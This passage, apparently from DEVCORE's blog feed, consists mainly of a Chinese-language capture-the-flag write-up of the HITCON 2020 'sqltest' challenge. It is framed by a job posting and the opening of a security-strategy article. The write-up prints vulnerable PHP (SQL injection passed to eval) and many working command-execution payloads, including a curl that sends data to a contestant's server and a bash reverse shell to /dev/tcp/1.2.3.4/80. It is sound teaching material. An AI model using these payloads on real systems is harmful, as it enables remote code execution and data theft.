id="起薪範圍">起薪範圍</h3> <p>新台幣 60,000 - 80,000 (保證年薪 14 個月)</p> <h3 id="應徵方式">應徵方式</h3> <ul> <li>請將您的履歷以 PDF 格式寄到 [email protected] <ul> <li>履歷格式請參考範例示意(<a href="/assets/files/recruit/Resume_Example.docx">DOCX</a>、<a href="/assets/files/recruit/Resume_Example.pages">PAGES</a>、<a href="/assets/files/recruit/Resume_Example.pdf">PDF</a>)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。</li> </ul> </li> <li>標題格式:<strong>[應徵] 紅隊演練工程師 您的姓名</strong>(範例:[應徵] 紅隊演練工程師 王小美)</li> <li>履歷內容請務必控制在兩頁以內,至少需包含以下內容: <ul> <li>基本資料</li> <li>學歷</li> <li>工作經歷</li> <li>社群活動經歷</li> <li>特殊事蹟</li> <li>MBTI 職業性格測試結果(<a href="https://www.apesk.com/mbti/dati_tw.asp">測試網頁</a>)</li> </ul> </li> </ul> <h3 id="附註">附註</h3> <p>我們會在兩週內主動與您聯繫,招募過程依序為書面審核、線上測驗以及面試三個階段。第二階段的線上測驗最快將於七月底進行,煩請耐心等候;第三階段面試視疫情狀況可能會採線上面試。 若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。我們感謝您的來信,期待您的加入!</p> https://devco.re/blog/2021/06/22/devcore-202106-recruit/ https://devco.re/blog/2021/06/22/devcore-202106-recruit Tue, 22 Jun 2021 00:00:00 +0800 DEVCORE Wargame at HITCON 2020 <style type="text/css"> table { display: block; width: 100%; overflow: auto; word-break: normal; word-break: keep-all; font-size: smaller; } table th { font-weight: bold } table th, table td { padding: 5px 11px; border: 1px solid #ddd; } table tr { background-color: #fff; border-top: 1px solid #ccc; } table tr:nth-child(2n) { background-color: #f8f8f8; } </style> <p>搭晚安~一年一度的資安圈大拜拜活動之一 HITCON 2020 在約一個月前順利落幕啦,今年我們照舊在攤位準備了幾道小小的 Wargame 給會眾朋友們挑戰自身技術,並同樣準備了幾份精美小禮物送給挑戰成功的朋友們。</p> <p>總計活動兩天間有登入並提交至少一把 flag 的人數為 92 人,非常感謝大家踴躍地參與,這次未能成功在時間內完成挑戰而未領到小禮物的朋友們也別太灰心,為了能更多的回饋社群,所以我們決定寫一篇技術文章介紹本次 Wargame 的其中一道開放式題目<code class="language-plaintext highlighter-rouge">sqltest</code>,為此我們在活動後詢問了所有解題的人,收集了大家的解法與思路,並將在文章的接下來一一為大家介紹!</p> <h2 id="sqltest-題目說明">sqltest 題目說明</h2> <p>這道題目主要核心的部分就這 3 個檔案:Dockerfile、readflag.c 和 index.php。讓我們先看看前兩個檔案,可以從下方的 Dockerfile 中先觀察到 flag 被放置在檔案 /flag 之中,但權限被設定為僅有 root 可以讀取,另外準備了具有 setuid 權限的執行檔 /readflag,讓任何人均可在執行此檔案時偽裝成 root 身分,而 /readflag 的原始碼就如下方 readflag.c 所示,很單純的讀取並輸出 /flag 檔案內容,這個配置就是一個很標準以 getshell 為目標的 Wargame 題目。</p> <p><strong>Dockerfile</strong></p> <div class="language-dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">FROM</span><span class="s"> php:7.4.10-apache</span> <span class="c"># setup OS env</span> <span class="k">RUN </span>apt update <span class="nt">-y</span> <span class="k">RUN </span>docker-php-ext-install mysqli <span class="k">RUN </span>docker-php-ext-enable mysqli <span class="c"># setup web application</span> <span class="k">COPY</span><span class="s"> ./src/ /var/www/html/</span> <span class="c"># setup flag</span> <span class="k">RUN </span><span class="nb">echo</span> <span class="s2">"DEVCORE{flag}"</span> <span class="o">&gt;</span> /flag <span class="k">RUN </span><span class="nb">chmod </span>0400 /flag <span class="k">RUN </span><span class="nb">chown </span>root:root /flag <span class="k">COPY</span><span class="s"> readflag.c /readflag.c</span> <span class="k">RUN </span>gcc <span class="nt">-o</span> /readflag /readflag.c <span class="k">RUN </span><span class="nb">chmod </span>4555 /readflag </code></pre></div></div> <p><strong>readflag.c</strong></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"> </span> <span class="kt">void</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span> <span class="n">seteuid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">setegid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">setuid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">setgid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">system</span><span class="p">(</span><span class="s">"/bin/cat /flag"</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>上述前半部為環境的佈置,真正題目的開始則要見下方 index.php,其中 <code class="language-plaintext highlighter-rouge">$_REQUEST</code> 是我們可以任意控制的參數,題目除了 isset 外並無其他任何檢查,隨後第 8 行中參數被帶入 SQL 語句作執行,如果 SQL 執行成功並且有查詢到資料,就會進入 15 行開始的處理,來自 <code class="language-plaintext highlighter-rouge">$_REQUEST</code> 的 <code class="language-plaintext highlighter-rouge">$column</code> 變數再次被使用並傳入 eval 作執行,這樣看下來題目的解題思路就很清楚了,我們需要構造一個字串,同時為合法的 SQL 語句與 PHP 語句,讓 SQL 執行時有回傳值且 PHP 執行時能夠執行任意系統指令,就能 getshell 並呼叫 /readflag 取得 flag!</p> <p><strong>index.php</strong></p> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s2">"column"</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s2">"id"</span><span class="p">]))</span> <span class="p">{</span> <span class="k">die</span><span class="p">(</span><span class="s1">'No input'</span><span class="p">);</span> <span class="p">}</span> <span class="nv">$column</span> <span class="o">=</span> <span class="nv">$_REQUEST</span><span class="p">[</span><span class="s2">"column"</span><span class="p">];</span> <span class="nv">$id</span> <span class="o">=</span> <span class="nv">$_REQUEST</span><span class="p">[</span><span class="s2">"id"</span><span class="p">];</span> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"select "</span><span class="mf">.</span><span class="nv">$column</span><span class="mf">.</span><span class="s2">" from mytable where id ='"</span><span class="mf">.</span><span class="nv">$id</span><span class="mf">.</span><span class="s2">"'"</span> <span class="p">;</span> <span class="nv">$conn</span> <span class="o">=</span> <span class="nb">mysqli_connect</span><span class="p">(</span><span class="s1">'mysql'</span><span class="p">,</span> <span class="s1">'user'</span><span class="p">,</span> <span class="s1">'youtu.be/l11uaEjA-iI'</span><span class="p">,</span> <span class="s1">'sqltest'</span><span class="p">);</span> <span class="nv">$result</span> <span class="o">=</span> <span class="nf">mysqli_query</span><span class="p">(</span><span class="nv">$conn</span><span class="p">,</span> <span class="nv">$sql</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="nv">$result</span> <span class="p">){</span> <span class="k">if</span> <span class="p">(</span> <span class="nf">mysqli_num_rows</span><span class="p">(</span><span class="nv">$result</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="nv">$row</span> <span class="o">=</span> <span class="nf">mysqli_fetch_object</span><span class="p">(</span><span class="nv">$result</span><span class="p">);</span> <span class="nv">$str</span> <span class="o">=</span> <span class="s2">"</span><span class="se">\$</span><span class="s2">output = </span><span class="se">\$</span><span class="s2">row-&gt;"</span><span class="mf">.</span><span class="nv">$column</span><span class="mf">.</span><span class="s2">";"</span><span class="p">;</span> <span class="k">eval</span><span class="p">(</span><span class="nv">$str</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">die</span><span class="p">(</span><span class="s1">'Database error'</span><span class="p">);</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$output</span><span class="p">))</span> <span class="p">{</span> <span class="k">echo</span> <span class="nv">$output</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <h2 id="出題者解法">出題者解法</h2> <p>身為出題者,當然必須先拋磚一下才能夠引玉~</p> <p><strong>exploit:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column={passthru('/readflag')}&amp;id=1 SQL: SELECT {passthru('/readflag')} FROM mytable WHERE id = '1' PHP: $output = $row-&gt;{passthru('/readflag')}; </code></pre></div></div> <p>這個解法利用了 MySQL 一個相容性的特性,<code class="language-plaintext highlighter-rouge">{identifier expr}</code> 是 ODBC Escape 語法,MySQL 相容了這個語法,使得在語句中出現時不會導致語法錯誤,因此我們可以構造出 <code class="language-plaintext highlighter-rouge">SELECT {passthru '/readflag'} FROM mytable WHERE id = '1'</code> 字串仍然會是合法的 SQL 語句,更進一步地嘗試將 ODBC Escape 中的空白移除改以括號包夾字串的話,會變成 <code class="language-plaintext highlighter-rouge">SELECT {passthru('/readflag')} FROM mytable WHERE id = '1'</code>,由於 MySQL 提供的語法彈性,此段語句仍然會被視為合法並且可正常執行得到相同結果。</p> <p>接著再看進到 eval 前會構造出這樣的 PHP 語句:<code class="language-plaintext highlighter-rouge">$output = $row-&gt;{passthru('/readflag')}</code>,由於 PHP 在語法上也提供了極大的彈性,使得我們可以利用 <code class="language-plaintext highlighter-rouge">$object-&gt;{ expr }</code> 這樣的語法將 expr 敘述句動態執行完的結果作為物件屬性名稱去存取物件的屬性,因此結果就會呼叫 passthru 函式執行系統指令。</p> <p>這邊補充一個冷知識,當想到系統指令時,大家直覺可能會想到使用 system 函式,但是 MySQL 在 8.0.3 中將 system 加入關鍵字保留字之中,而這題目環境是使用 MySQL 8.0 架設的,所以如果使用 system 的話反而會失敗唷!</p> <h2 id="來自會眾朋友們的解法">來自會眾朋友們的解法</h2> <p>由於朋友們踴躍提交的解法眾多,所以我們將各解法簡單做了分組,另外提醒一下,以下順序只是提交的先後時間差,並無任何優劣,能取得 flag 的解法都是好解法!接下來就讓我們進行介紹吧。</p> <h3 id="odbc-escape">ODBC Escape</h3> <p><strong>by Mico (https://www.facebook.com/MicoDer/):</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column={exec(%27curl%20http://Mico_SRV/?`/readflag`%27)};%23&amp;id=1 SQL: SELECT {exec('curl http://Mico_SRV/?`/readflag`')};# FROM mytable WHERE id = '1' PHP: $output = $row-&gt;{exec('curl http://Mico_SRV/?`/readflag`')};#; </code></pre></div></div> <p>這個解法與出題者的十分類似,但沒有使用可以直接輸出結果的 passthru 而是改用 exec,接著透過 curl 把結果回傳至自己的伺服器,據本人說法是因為「覺得駭客就該傳些什麼回來自己Server XD 」XD。</p> <h3 id="comment-everywhere">Comment Everywhere</h3> <p>幾乎所有程式語言都有註解符號可以讓開發人員在程式碼中間加上文字說明,以便下一個開發人員接手時可以快速理解這段程式碼的意義。當然 SQL 與 PHP 也有各自的註解符號,但它們所支援的符號表示稍微有些差異,而這小差異就可以幫助我們達成目的。</p> <p><strong>by LJP (https://ljp-tw.github.io/blog/)</strong>:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=id%0a-- /*%0a-- */ ; system('/readflag');%0a&amp;id=1 SQL: SELECT id -- /* -- */ ; system('/readflag'); FROM mytable WHERE id = '1' PHP: $output = id -- /* -- */ ; system('/readflag'); ; </code></pre></div></div> <p>這個解法看似複雜,本質上其實很單純,就是利用兩個語言支援不同註解符號的特性。對於 SQL 而言,<code class="language-plaintext highlighter-rouge">--</code> 是註解符號,會無視後方所有到換行為止的文字,所以每一行以 <code class="language-plaintext highlighter-rouge">--</code> 開頭的字串,SQL 是看不見的。接著來看 PHP,對於 PHP 而言,<code class="language-plaintext highlighter-rouge">/* 任何字串 */</code> 這是註解的表示方式,開頭結尾由 / 與 * 組成,中間被包夾的字串是看不見的,並且支援換行,而 <code class="language-plaintext highlighter-rouge">--</code> 在 PHP 之中則代表遞減運算子,所以如 <code class="language-plaintext highlighter-rouge">$output --</code> 字串其實是在對 $output 進行減 1 的操作。綜合上面特性,對於上面的解法,其實只有 PHP 看見的第三行 ` ; system(‘/readflag’);` 會認為是需要執行的程式碼,其餘部分不論是 SQL 還是 PHP 都以為是註解的字串而無視,因此可以順利執行取得 flag。</p> <p><strong>by ankleboy (https://www.facebook.com/profile.php?id=100001963625238):</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=name%20/*!%20from%20mytable%20*/%20--%20;%20system(%22/readflag%22)&amp;id=1 SQL: SELECT name /*! from mytable */ -- ; system("/readflag") FROM mytable WHERE id = '1' PHP: $output = $row-&gt;name /*! from mytable */ -- ; system("/readflag"); </code></pre></div></div> <p>此解法也是同樣運用註解,但使用的註解符號似乎稍微特殊,<code class="language-plaintext highlighter-rouge">/* */</code> 除了 PHP 之外,MySQL 也同樣支援此允許多行的註解符號,但假如多上一個驚嘆號 <code class="language-plaintext highlighter-rouge">/*! */</code>,事情就又稍微不同了,這是 MySQL 特有的變種註解符號,在此符號中的字串,仍然會被 MySQL 當成 SQL 的一部分執行,但在其他 DBMS 之中,因為是 <code class="language-plaintext highlighter-rouge">/*</code> 開頭就會認為它就是單純的註解文字而忽視,讓開發人員能撰寫可 portable 的程式碼。因此就能製造出一串註解文字可被 MySQL 看見但無法被 PHP 看見,強制在註解文字裡讓 SQL 構造合法語句,再利用 <code class="language-plaintext highlighter-rouge">--</code> 註解閉合所有冗贅 SQL 語句,緊接著 <code class="language-plaintext highlighter-rouge">--</code> 後就能撰寫任意 PHP 執行碼。</p> <p><strong>by FI:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=id/*!from mytable union select `/readflag`*/./*!id from mytable*/`/readflag`%23?&gt;&amp;id=1 SQL: SELECT id/*!from mytable union select `/readflag`*/./*!id from mytable*/`/readflag`#?&gt; FROM mytable WHERE id = '1' PHP: $output = $row-&gt;id/*!from mytable union select `/readflag`*/./*!id from mytable*/`/readflag`#?&gt;; </code></pre></div></div> <p>同樣是利用 <code class="language-plaintext highlighter-rouge">/*! */</code> 註解符號強行構造合法查詢,不過有趣的是,MySQL 支援 <code class="language-plaintext highlighter-rouge">#</code> 單行的註解符號,此註解符號同樣也被 PHP 支援,所以不會導致 PHP 語法錯誤,最後還多了 <code class="language-plaintext highlighter-rouge">?&gt;</code> 強行結束 PHP 程式區塊,冷知識是如果程式碼是 PHP 程式區塊內最後一行的話,不加 <code class="language-plaintext highlighter-rouge">;</code> 並不會導致語法錯誤唷 :P</p> <p><strong>by tree:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=null--+.$output=exec('/readflag')&amp;id= SQL: SELECT null-- .$output=exec('/readflag') FROM mytable WHERE id = '1' PHP: $output = $row-&gt;null-- .$output=exec('/readflag'); </code></pre></div></div> <p>也是用了 <code class="language-plaintext highlighter-rouge">--</code> 把 PHP 程式碼的部分在 SQL 裡面遮蔽起來,利用了 null 關鍵字讓 SQL 查詢有回傳結果,但在 PHP 之中卻變成 <code class="language-plaintext highlighter-rouge">$row-&gt;null</code> 對 $row 物件存取名為 null 的屬性,使得 PHP 也能合法執行,最後將指令執行結果覆蓋 $output 變數,讓題目幫助我們輸出結果。</p> <p><strong>by cebrusfs (https://www.facebook.com/menghuan.yu):</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=NULL;%20--%20$b;var_dump(exec(%22/readflag%22))&amp;id=1 SQL: SELECT column=NULL; -- $b;var_dump(exec("/readflag")) FROM mytable WHERE id = '1' PHP: $output = $row-&gt;column=NULL; -- $b;var_dump(exec("/readflag")); </code></pre></div></div> <p>此解法也是類似的思路,運用 <code class="language-plaintext highlighter-rouge">--</code> 閉合再湊出合法 PHP 程式碼,最後直接使用 var_dump 強制輸出 exec 的執行結果。</p> <p><strong>by Jason3e7 (https://github.com/jason3e7):</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=NULL;-- $id %2b system('/readflag');%23&amp;id=1 SQL: SELECT NULL;-- $id + system('/readflag');# FROM mytable WHERE id = '1' PHP: $output = $row-&gt;NULL;-- $id + system('/readflag');#; </code></pre></div></div> <p>這也是相似的思路,有趣的是 <code class="language-plaintext highlighter-rouge">-- $id</code> 這個部分,大家一定記得 <code class="language-plaintext highlighter-rouge">$id --</code> 是遞減運算子,但有時可能會忘記 <code class="language-plaintext highlighter-rouge">-- $id</code> 也同樣是遞減運算子,所以這個 <code class="language-plaintext highlighter-rouge">--</code> 會使得 MySQL 認為是註解,PHP 卻仍認為是遞減運算子並正常執行下去。</p> <p><strong>by shoui:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=null-- -"1";"\$output = \$row-&gt;".system('/readflag').";";&amp;id=1 SQL: SELECT null-- -"1";"\$output = \$row-&gt;".system('/readflag').";"; FROM mytable WHERE id = '1' PHP: $output = $row-&gt;null-- -"1";"\$output = \$row-&gt;".system('/readflag').";";; </code></pre></div></div> <p>同樣運用註解 <code class="language-plaintext highlighter-rouge">--</code> 閉合 SQL 但 PHP 又是遞減運算子的特性,而 system 又會將指令執行結果直接輸出,因此就能直接取得 flag。本人有補充說明當時測試時直接複製貼上原始碼那行接測試,後來使用 <code class="language-plaintext highlighter-rouge">?id=1&amp;column=null-- -"1";" ".system('/readflag').";"</code> 精簡後的 payload XD。</p> <h3 id="double-quoted-string-evaluation">Double-quoted String Evaluation</h3> <p>PHP 會自動在由雙引號「”」包夾的字串中,尋找 $ 開頭的字詞,將其解析成變數再把值代入字串中,這個功能對於快速輸出已充分跳脫處理的變數值非常有幫助,可以增加程式碼可讀性;但同樣地,我們也可以利用這個功能做一下有趣的事情,例如這段 PHP 程式碼 <code class="language-plaintext highlighter-rouge">$str = "${phpinfo()}";</code> 就可以直接執行 phpinfo 函式,利用 <code class="language-plaintext highlighter-rouge">$str = "${system('id')}";</code> 就可以執行系統指令;而在 MySQL 中,雙引號「”」恰好也可以被用來表示純字串,所以我們就能構造出「MySQL 認為是純字串,PHP 卻認為需要解析執行」的 Payload。</p> <p>讓我們先來看第一個例子:</p> <p><strong>by ginoah:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=id="${system('/readflag')}"&amp;id=1 SQL: SELECT id="${system('/readflag')}" FROM mytable WHERE id = '1' PHP: $output = $row-&gt;id="${system('/readflag')}"; </code></pre></div></div> <p>對於 SQL 而言,就是回傳 id 與字串比較的結果;但對於 PHP 而言,上述結果是將雙引號字串解析完後才賦值給變數 <code class="language-plaintext highlighter-rouge">$row-&gt;id</code>,而結果就如同前面說的,它會執行系統指令 /readflag,還會將結果輸出至網頁,所以就能取得 flag!</p> <p><strong>by Billy (https://github.com/st424204):</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=name%2b"{$_POST[1]($_POST[2])}"&amp;id=1 POST: 1=system&amp;2=/readflag SQL: SELECT name+"{$_POST[1]($_POST[2])}" FROM mytable WHERE id = '1' PHP: $output = $row-&gt;name+"{$_POST[1]($_POST[2])}"; </code></pre></div></div> <p>同樣利用雙引號特性,但這個例子構造的較為複雜,利用了一些鬆軟特性,在 PHP 中,若字串變數是一個存在的函式的名稱,則我們可以利用 <code class="language-plaintext highlighter-rouge">$func = 'system'; $func('id');</code> 這樣的方式來呼叫該變數,這個例子就是應用了這個特性,將我們從前端傳遞過去的 <code class="language-plaintext highlighter-rouge">$_POST[1]</code> 當成函式名稱、<code class="language-plaintext highlighter-rouge">$_POST[2]</code> 作為函式的參數執行,因此只要參數再帶上 <code class="language-plaintext highlighter-rouge">1=system&amp;2=readflag</code> 就能取得 flag!</p> <p><strong>by Hans (https://hans00.me)</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=id||"{$_POST['fn']($_POST['cmd'])}"&amp;id=1 POST: fn=system&amp;cmd=/readflag SQL: SELECT id||"{$_POST['fn']($_POST['cmd'])}" FROM mytable WHERE id = '1' PHP: $output = $row-&gt;id||"{$_POST['fn']($_POST['cmd'])}"; </code></pre></div></div> <p>這個例子與前一個利用了同樣的特性,差別在與此處的 Payload 改用 OR 邏輯運算子 <code class="language-plaintext highlighter-rouge">||</code>,而前面使用的是加法算術運算子 <code class="language-plaintext highlighter-rouge">+</code>,但結果都是相同的。</p> <p><strong>by Chris Lin (https://github.com/kulisu)</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=TRUE/"${system(%27/readflag%27)}";%23&amp;id=1 SQL: SELECT TRUE/"${system('/readflag')}";# FROM mytable WHERE id = '1' PHP: $output = $row-&gt;TRUE/"${system('/readflag')}";#; </code></pre></div></div> <p>這也是用相同概念,前面改用除法算術運算子 <code class="language-plaintext highlighter-rouge">/</code>。看完解法才發現投稿者是同事!</p> <p><img src="/assets/img/blog/20201030/1.png" alt="" /></p> <h3 id="execution-operator">Execution Operator</h3> <p>在 PHP 中存在眾多函式可以執行系統指令,其中還包括一個特殊的 <a href="https://www.php.net/manual/en/language.operators.execution.php">Execution Operator</a>,此運算子的形式是利用反引號「<code class="language-plaintext highlighter-rouge">`</code>」將字串包夾起來,這樣該字串就會被當作系統指令執行,其內部實際是執行 shell_exec,更貼心的事情是,這個運算子同樣支援 Double-quoted String Evaluation,所以若是 <code class="language-plaintext highlighter-rouge">$cmd = 'id'; echo `$cmd`;</code> 這樣的形式,PHP 就會先解析 $cmd 得出 id,再執行 id 系統指令;而在 MySQL 之中,反引號是用來表示一個 identifier,identifier 用來指示一個物件,最常見的是資料表或是資料欄,當我們執行 <code class="language-plaintext highlighter-rouge">SELECT c FROM t</code>,其中 c 和 t 就是 identifier,所以若想靠 Execution Operator 來執行指令,可能還必須同時讓 identifier 能夠被 MySQL 識別才行。</p> <p><strong>by dalun (https://www.nisra.net):</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=id=`$_POST[1]`%23?&gt;&amp;id=%0a+from+(select+'id','$_POST[1]')+as+a+--+ POST: 1=/readflag SQL: SELECT id=`$_POST[1]`#?&gt; FROM mytable WHERE id = ' from (select 'id','$_POST[1]') as a -- ' PHP: $output = $row-&gt;id=`$_POST[1]`#?&gt;; </code></pre></div></div> <p>這個解法似乎是唯一願意使用 id 參數的 XD!在 column 參數用註解符號 <code class="language-plaintext highlighter-rouge">#</code> 閉合後續,在 id 參數插入換行符號並構造一個合法的 SQL,透過子查詢製造合法的 identifier,最後由 PHP 透過 execution operator 執行系統指令。</p> <p><strong>by HexRabbit (https://twitter.com/h3xr4bb1t):</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=name+or+@`bash+-c+"bash+-i+&gt;%26+/dev/tcp/1.2.3.4/80+0&gt;%261"`&amp;id=1 SQL: SELECT name or @`bash -c "bash -i &gt;&amp; /dev/tcp/1.2.3.4/80 0&gt;&amp;1"` FROM mytable WHERE id = '1' PHP: $output = $row-&gt;name or @`bash -c "bash -i &gt;&amp; /dev/tcp/1.2.3.4/80 0&gt;&amp;1"`; </code></pre></div></div> <p>這個解法核心也是透過 execution oeperator 執行指令,不過用了一個特殊的字元 <code class="language-plaintext highlighter-rouge">@</code>。在 MySQL 中,這代表 user-defined variables,後面的字串則為變數的名稱,而且名稱可以使用特殊字元,只要使用 identifier 的符號 <code class="language-plaintext highlighter-rouge">`</code> 把字串包夾起來即可,而存取不存在的變數並不會導致錯誤,MySQL 只會回傳 NULL 的結果。在 PHP 中的話,<code class="language-plaintext highlighter-rouge">@</code> 代表 <a href="https://www.php.net/language.operators.errorcontrol">error control operator</a>,可以放置在表達式前,會讓 PHP 將此表達式執行產生的錯誤訊息全部忽略,由於是表達式,所以也能附加在 execution operator 之前。最後這個解法再用 <code class="language-plaintext highlighter-rouge">or</code> 邏輯運算子(MySQL 與 PHP 皆支援並且意義相同)串接即可達成執行系統指令。</p> <p><strong>by cjiso1117 (https://twitter.com/cjiso)</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=$a%2b`curl 127.0.0.1/$(/readflag)`/*!from (select "asd" as "$a", "qwe" as "curl 127.0.0.1/$(/readflag)" ) as e*/;%23&amp;id=qwe SQL: SELECT $a+`curl 127.0.0.1/$(/readflag)`/*!from (select "asd" as "$a", "qwe" as "curl 127.0.0.1/$(/readflag)" ) as e*/;# FROM mytable WHERE id = 'qwe' PHP: $output = $row-&gt;$a+`curl 127.0.0.1/$(/readflag)`/*!from (select "asd" as "$a", "qwe" as "curl 127.0.0.1/$(/readflag)" ) as e*/;#; </code></pre></div></div> <p>同樣是利用 <code class="language-plaintext highlighter-rouge">/*! */</code> 製造出 PHP 看不見、MySQL 看得見的註解文字來控制資料庫查詢結果,最後利用 execution operator 來達成執行系統指令,但由於 <code class="language-plaintext highlighter-rouge">`</code> 內的文字會被 MySQL 認為是 identifier,找不到對應資源會導致錯誤,所以透過子查詢和 alias 語法強行製造出 identifier 讓查詢正確執行。<del>本人表示一開始覺得用 <code class="language-plaintext highlighter-rouge">/*! */</code> 會很帥,結果走偏繞了一大圈</del></p> <p><strong>by shik (https://github.com/ShikChen/)</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: column=id%2b"${print_r(`/readflag`)}"&amp;id=1 SQL: SELECT id+"${print_r(`/readflag`)}" FROM mytable WHERE id = '1' PHP: $output = $row-&gt;id+"${print_r(`/readflag`)}"; </code></pre></div></div> <p>這個解法利用加法運算子組合 id identifier 和雙引號字串,接著在雙引號字串利用 evaluation 特性執行 PHP 程式碼,透過 execution operator 執行系統指令後再以 print_r 強制輸出結果,取得 flag。</p> <p><strong>匿名:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QueryString: id=1&amp;column=id%2b"${`yes`}" SQL: SELECT id+"${`yes`}" FROM mytable WHERE id = '1' PHP: $output = $row-&gt;id+"${`yes`}"; </code></pre></div></div> <p>另外還收到一個匿名提交的解法,思路與前面相同,總之就也附上來了~。</p> <h2 id="結語">結語</h2> <p>以上就是我們這次為 HITCON 2020 準備的 Wargame 的其中一道開放式題目的分享和大家的解法介紹,不知道各位喜不喜歡呢?<del>喜歡的話記得訂閱、按讚、分享以及開啟小鈴鐺唷!</del></p> <p>題外話,這次我們總共有 5 道 100 分題目,是領取小獎品的基本條件,但我們還準備了 3 道僅有 1 分的 bonus 題目,類型是 2 個 web 與 1 個唯一的 pwn,讓大家能進一步挑戰進階實戰能力,而這次有解開至少一道 bonus 題的為以下兩位參加者:</p> <ul> <li>11/14 Balsn CTF 2020 總獎金十萬元: 502 分</li> <li>FI: 501</li> </ul> <p>友情工商:由台灣知名 CTF 戰隊之一的 Balsn 舉辦的 Balsn CTF 2020 將在 11/14 舉辦,他們準備了豐富的比賽獎金與充滿創意、技術性的題目,想證明實力的朋友們可不要錯過了!</p> <p>Balsn Twitter: https://twitter.com/balsnctf/status/1316925652700889090 Balsn CTF 2020 on CTFtime: https://ctftime.org/event/1122/</p> <p>另外的另外,最後讓我們恭喜 <strong>yuawn (https://twitter.com/_yuawn)</strong> 以 1 分之姿榮獲 <strong>DEVCORE Wargame 最後 1 名</strong>!全場排行榜上唯一得分不超過 100 的參加者,同時他也取得了 pwn 題目的首殺兼唯一解,恭喜他 👏👏。</p> <p>最後附上今年的前十名,就讓我們 2021 年再見囉~</p> <table> <thead> <tr> <th>Place</th> <th>Team</th> <th>Score</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>11/14 Balsn CTF 2020 總獎金十萬元</td> <td>502</td> </tr> <tr> <td>2</td> <td>FI</td> <td>501</td> </tr> <tr> <td>3</td> <td>mico</td> <td>500</td> </tr> <tr> <td>4</td> <td>ankleboy</td> <td>500</td> </tr> <tr> <td>5</td> <td>hans00</td> <td>500</td> </tr> <tr> <td>6</td> <td>Meow</td> <td>500</td> </tr> <tr> <td>7</td> <td>ginoah</td> <td>500</td> </tr> <tr> <td>8</td> <td>cjiso1117</td> <td>500</td> </tr> <tr> <td>9</td> <td>zodiuss</td> <td>500</td> </tr> <tr> <td>10</td> <td>dalun</td> <td>500</td> </tr> </tbody> </table> https://devco.re/blog/2020/10/30/devcore-wargame-at-hitcon-2020/ https://devco.re/blog/2020/10/30/devcore-wargame-at-hitcon-2020 Fri, 30 Oct 2020 00:00:00 +0800 你的資安策略夠明確嗎?透過框架優先緩解真實威脅 <h2 id="前言">前言</h2> <p>這一篇是跟 Allen 在 iThome 2020 資安大會一起分享的主題。在國內,大家比較少討論資安策略這個議題。主要原因除了這個題目太過艱澀、無聊外,從商業的角度也不容易成為獲利的服務。而我們會想分享這個主題的原因與我們主要的服務「紅隊演練」有關。</p> <p>執行紅隊演練三年多來,雖然協助企業找出威脅營運的重要入侵路徑,甚至發現防禦機制的不足之處,許多積極的客戶更想知道除了當次紅隊演練發現的問題外,是不是有更周延的方式來盤點防禦現況的不足。因此,我們開始尋找一個結構化且完整的方式來探究這個議題,開始思考國際標準、框架與紅隊演練之間的關係。希望除了從攻擊者的思維跟技巧找到企業的問題外,也能從防守方的角度思考企業長期而全面的防禦規劃。</p> <h2 